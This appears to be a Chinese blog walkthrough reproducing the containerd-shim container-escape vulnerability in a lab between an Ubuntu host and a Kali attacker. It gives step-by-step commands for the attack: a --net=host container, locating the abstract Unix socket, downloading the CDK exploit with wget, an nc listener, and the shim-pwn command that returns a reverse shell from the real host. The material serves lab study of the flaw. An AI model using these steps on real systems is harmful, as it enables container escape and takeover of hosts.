![d95d93ea739ffde0e3e989ea5405b365.png](https://i-blog.csdnimg.cn/blog_migrate/a03a8e91e4af5ac0c92bc74b6d6c6e4a.jpeg)
一、漏洞介绍
漏洞原理
Containerd 是一个控制 runC 的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。当在docker使用–net=host参数启动,与宿主机共享net namespace时,容器中的攻击者可以绕过访问权限访问 containerd 的控制API 进而导致权限提升,从而实现Docker容器逃逸。
Containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。
影响版本
containerd < 1.4.3
containerd < 1.3.9
实验环境:
被攻击机(ubuntu)ip:192.168.163.129
被攻击机containerd版本:1.2.6
攻击机(kali)ip:192.168.163.131
POC下载:https://github.com/Xyntax/CDK/releases/tag/0.1.6
二、环境介绍
01
被攻击机查看docker版本,显示Containerd Version : 1.2.6
命令:docker version
![539df79ba95e671421f86c6ebb198f7d.png](https://i-blog.csdnimg.cn/blog_migrate/96ffd111c0604c5dad5021ae4c630db3.jpeg)
02
为了区分被攻击机的真实环境和被攻击机的docker环境分别在/root目录下面创建不同文件
被攻击机的docker环境:docker环境下面的/root目录下面没有文件,为了便于区分,复制一个dockerfile文件到/root目录下
![b409be862d184b99cc17a0ce2fa6d91e.png](https://i-blog.csdnimg.cn/blog_migrate/687c316afe84b2cded70f1512ae0b796.jpeg)
被攻击机的真实环境:真实环境下面的/root目录放置了一个true文件
![36e94d0e8a5262e96ac05f6dd161e668.png](https://i-blog.csdnimg.cn/blog_migrate/b3ea23ffd93b182897e6247a63773ce4.jpeg)
三、漏洞复现
01
被攻击机真实环境中列出被攻击机的容器
命令:docker ps
![63160f1479a3af511414e5ff4edbfdc3.png](https://i-blog.csdnimg.cn/blog_migrate/85bca8ce94f600165433775603ca2620.jpeg)
02
被攻击机以共享主机网络的方式启动容器,并且直接进入了docker容器
通过 --net=host 作为启动参数来运行一个容器(此处为了方便直接选择已经存在的容器vulhub/activemq:5.11.1,但是会单独再建立了一个容器,不会再下拉镜像,但是两个容器不相关)
命令:docker run -it --net=host vulhub/activemq:5.11.1 /bin/bash
![fb8517e2d86bd8f29befe0fee391d46e.png](https://i-blog.csdnimg.cn/blog_migrate/17385519ce69f35b3f695309262aecb5.jpeg)
03
被攻击机真实环境中列出被攻击机的容器列表,刚刚我们新建的容器为container id : 4ad4f620e6a5
命令:docker ps
![ed6f5ed3bf709c055f98a3af0faa162c.png](https://i-blog.csdnimg.cn/blog_migrate/460406648a416e71b67d36002d1967d7.jpeg)
04
在被攻击机docker容器中执行命令,可看到抽象命名空间Unix域套接字
命令:cat /proc/net/unix|grep -a "containerd-shim"
原理备注:containerd->containerd-shim->runc 的通信模型中,containerd-shim的接口作为abstract unix socket暴露,在docker使用--net=host参数启动、与宿主机共享net namespace时,其中的unix socket可以被容器内部访问到,容器中攻击者通过该socket可以通过API控制下游runc进程启动新的恶意镜像,并通过该镜像逃逸。
![bb605c7ebb64f27bf90a566b676a214b.png](https://i-blog.csdnimg.cn/blog_migrate/ed687a8fe787f57befc4cf514a70d90e.jpeg)
05
为了方便查看,被攻击机的docker环境下切换到/tmp目录下面进行操作。下载对应的poc并且进行解压操作。
下载poc命令:wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
解压poc命令:tar -zxvf cdk_v0.1.6_release.tar.gz
![6de7e113f53bf6e4335fe0a4c86e649e.png](https://i-blog.csdnimg.cn/blog_migrate/68f1da4cc77843da8d7b8c2786735796.jpeg)
![5c3eade7ef8e262d303f864bc927dbcd.png](https://i-blog.csdnimg.cn/blog_migrate/1461f6d5153ff83303433acda433d968.jpeg)
06
kali攻击机开启监听端口12345
命令:nc -lvp 12345
![d1c10cda6b352cc8b056c66f277aac46.png](https://i-blog.csdnimg.cn/blog_migrate/4f4a59b2196358b868a9bd76eabf3e9f.jpeg)
07
被攻击机的docker环境中执行命令,利用poc建立起连接
命令:./cdk_linux_386 run shim-pwn 192.168.163.131 12345
![f000dca388d3dc7304daa82c15323f6f.png](https://i-blog.csdnimg.cn/blog_migrate/8bf8ef724052e6993758dcd4bcfe1282.jpeg)
08
Kali攻击机成功获取了被攻击机真实环境的反弹shell(从/root目录下的文件可看出反弹的为真实主机的shell)
![3b55cacf299d22f74d452061c6ae25d9.png](https://i-blog.csdnimg.cn/blog_migrate/810a9c71210247759f8a31c0fe9023ed.jpeg)
备注:
本实验存在很多注意事项(只限于本人实验过程中的坑):
1、本来想使用vulhub的s2-032环境漏洞,利用Struts2工具远程命令执行进行docker逃逸,发现执行命令:cat /proc/net/unix|grep -a "containerd-shim"时无法看到抽象命名空间Unix域套接字,执行poc的时候显示Cannot find vulnerable socket(我使用的是docker exec -it 6970bdddacc6 /bin/bash进入的docker环境 )
2、注意利用--net=host新建容器的时候image名字是相同的,注意区分,否则执行的命令会进入另外一个容器
3、此利用条件是完全控制了被攻击机的docker容器的环境下执行的,利用被攻击机的docker环境控制被攻击机的真实环境。
原文链接